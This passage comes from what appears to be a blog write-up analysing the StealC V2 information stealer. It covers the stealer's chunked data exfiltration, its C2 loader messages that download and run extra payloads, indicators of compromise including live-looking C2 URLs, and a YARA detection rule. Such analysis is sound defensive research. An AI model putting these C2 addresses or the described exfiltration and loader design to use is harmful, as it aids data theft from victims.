Tools - 10.1.17763.132\nMicrosoft .NET Host FX Resolver - 8.0.16 (x86) - 64.64.32758\nWindows SDK Desktop Headers arm - 10.1.17763.132\nWindows SDK Modern Versioned Developer Tools - 10.1.17763.132\nMicrosoft Windows Desktop Runtime - 6.0.36 (x86) - 6.0.36.34217\nWindows SDK Desktop Headers x86 - 10.1.17763.132\nWindows SDK Facade Windows WinMD Versioned - 10.1.17763.132\nUniversal CRT Headers Libraries and Sources - 10.1.17763.132\nUniversal General MIDI DLS Extension SDK - 10.1.17763.132\nMicrosoft Windows Desktop Runtime - 8.0.16 (x64) - 8.0.16.34817\nUniversal CRT Tools x86 - 10.1.17763.132\nWindows SDK Desktop Libs x86 - 10.1.17763.132\nWindows SDK for Windows Store Apps Libs - 10.1.17763.132\nMicrosoft Visual Studio Setup WMI Provider - 3.7.2182.35401\nMicrosoft .NET Host - 8.0.16 (x86) - 64.64.32758\nWinRT Intellisense Desktop - Other Languages - 10.1.17763.132\nWinRT Intellisense IoT - Other Languages - 10.1.17763.132\nMicrosoft Visual C++ 2015-2022 Redistributable (x86) - 14.44.35208 - 14.44.35208.0\nWindows SDK ARM Desktop Tools - 10.1.17763.132\nWindows Desktop Extension SDK - 10.1.17763.132\nWindows SDK - 10.1.17763.132\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 - 10.0.40219\nInno Setup Decompiler version 1.5 - 1.5\nWindows Team Extension SDK Contracts - 10.1.17763.132\nWinRT Intellisense Mobile - en-us - 10.1.17763.132\nWindows SDK Desktop Tools x86 - 10.1.17763.132\nWindows SDK DirectX x86 Remote - 10.1.17763.132\nWindows SDK Modern Non-Versioned Developer Tools - 10.1.17763.132\nMicrosoft .NET Host - 6.0.36 (x86) - 48.144.23141\nCurrent User:\nMicrosoft OneDrive - 25.194.1005.0003\nPython 3.10.11 (64-bit) - 3.10.11150.0\nFile Uploads When data is harvested, the stealer segments the data into 256KB chunks to distribute data exfiltration across small packets and avoid triggering alerts. Each chunk includes metadata about it such as the total number of chunks (total_parts) and the current chunk number (part_index). Additionally, it includes the name of the exfiltrated file (file identification).\nAll of this data is encapsulated in a JSON message generated for each chunk.\nFigure 49: The upload_file request before its encrypted. The data and type parameters are Base64 encoded.\nAdditional Messages If the stealer enters to handle its loader code, it sends a request of \u0026quot;type\u0026quot;: \u0026quot;loader\u0026quot;. The server returns an array of possible payloads the program can execute, where each record contains the following parameters:\nurl (sting), the payload URI. csidl (integer), specifies the system path from which the payload should be executed. elevated (boolean), whether to execute the payload as Administrator. type (integer), specifies the payload type. When the EXE payload is specified, the stealer will download the executable payload from the url into a buffer, which is then staged as a temporary file.\nOnce it completes it\u0026rsquo;s exfiltration, it informs the C2 with the \u0026quot;type\u0026quot;: \u0026quot;done\u0026quot; message.\nConclusion StealC V2 is a modular stealer that operates at scale, introducing encrypted and streamlined communications. It leverages Heaven\u0026rsquo;s Gate to inject its custom payload into select Chromium-based browsers. It is able to steal data from a wide range of applications and files, capture screenshots and act as an additional malware delivery tool.\nIOC\u0026rsquo;s (Indicators of Compromise) IOC Type Description 00114c344e9215f77bd490fcdce8b06b1b7942cf2d0f5fa7012e498e9c835d99 SHA256 StealC V2 babccb98a02e55a814e727789d4aa96ee3b6b6e820a5a4e47480e5e557788c21 SHA256 StealC V2 6e3b874fca2800811b2cf343690bdd24638e13cafd4b949bffd44c2c12ea0609 SHA256 StealC V2 c102c88cd6a72bd29f7ced54a3f2ca843b8169cc01f399ce63923ff45818aac4 SHA256 Injected Payload http://bookpopow.shop/43d10964878dfc17.php URL C2 http://45.94.47.131/e5580d5d49254e82.php URL C2 http://91.212.150.246/85e1d65ca2fa44acae49.php URL C2 YARA Rules rule StealC_V2 { meta: author = \u0026#34;MaxC.\u0026#34; description = \u0026#34;Detects StealC V2 samples\u0026#34; date = \u0026#34;2026-03-26\u0026#34; strings: $s1 = { 69 [1-6] 0B A3 14 00 } $s2 = { B? 51 75 42 69 } $s3 = { 69 [1-6] 87 FD 70 1E } $s4 = { B? 34 ED DB 95 } condition: uint16(0) == 0x5A4D and all of ($s*) } ","permalink":"https://maxchertin.github.io/posts/stealc-v2/","summary":"\u003ch1 id=\"introduction\"\u003eIntroduction\u003c/h1\u003e\n\u003cp\u003eThe Malware-as-a-Service (MaaS) business model has changed over the past few years, specifically showing an increase in info-stealer attacks. These attacks are responsible for most of the initial entry point for data breaches, and they enable financial fraud, ransomware attacks, identity theft and significant corporate network intrusions.\u003c/p\u003e\n\u003cp\u003eIn this post we\u0026rsquo;re going in a technical breakdown of StealC V2, a MaaS product that is sold on the dark web and has been active since March 2025. Version 2 of StealC introduced an improved version of the stealer, including a complete codebase rewrite in C++, remodeled C2 communications with encryption, adaptable file stealer and some additional features.\u003c/p\u003e","title":"Analyzing StealC V2"}]